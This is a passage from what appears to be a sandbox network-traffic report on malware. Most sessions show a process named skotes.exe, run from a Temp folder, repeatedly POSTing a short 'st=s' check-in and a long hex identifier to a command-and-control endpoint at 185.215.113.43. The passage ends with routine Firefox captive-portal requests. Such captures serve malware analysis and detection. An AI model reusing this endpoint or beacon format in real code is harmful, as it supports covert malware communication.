r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:27:26.287260056 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:27:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	50274	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:27:28.033328056 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:27:29.370765924 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:27:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	50275	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:27:31.011782885 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:27:32.432336092 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:27:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	50276	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:27:34.189026117 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:27:35.628324032 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:27:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	50277	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:27:37.262492895 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:27:38.662051916 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:27:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	50278	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:27:40.415703058 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:27:41.795623064 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:27:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	50279	185.215.113.43	80	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:27:43.433881044 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:27:44.923846006 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:27:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	50280	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:27:46.666315079 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:27:48.053014994 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:27:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	50281	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:27:49.687333107 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:27:50.063699007 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:27:51.135427952 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:27:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	50282	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:27:52.885860920 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:27:54.268732071 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:27:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	50283	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:27:55.903922081 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:27:57.319509029 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:27:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	50284	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:27:59.055831909 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:28:00.487864971 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:28:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	50285	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:28:02.140588045 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:28:03.482908010 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:28:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	50286	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:28:05.230551958 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:28:06.622909069 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:28:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	50287	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:28:08.267858982 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:28:09.689502001 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:28:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	50288	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:28:11.440088987 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:28:12.850929022 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:28:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	50289	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:28:14.476401091 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:28:15.877168894 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:28:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	50290	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:28:17.619366884 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:28:18.988557100 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:28:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	50291	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:28:20.628130913 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:28:22.020493031 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:28:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	50292	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:28:23.835454941 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:28:25.219460964 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:28:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	50293	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:28:26.849595070 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:28:28.276612997 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:28:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	50294	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:28:30.025702953 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:28:31.544563055 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:28:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	50297	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:28:31.712323904 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 18:28:32.854710102 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 23:05:23 GMT Age: 66189 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 18:28:42.930110931 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 18:28:53.132976055 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 18:29:01.102607012 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 18:29:01.426944971 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 23:05:23 GMT Age: 66218 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 18:29:11.435234070 CET	6	OUT	Data Raw: 00 Data Ascii:
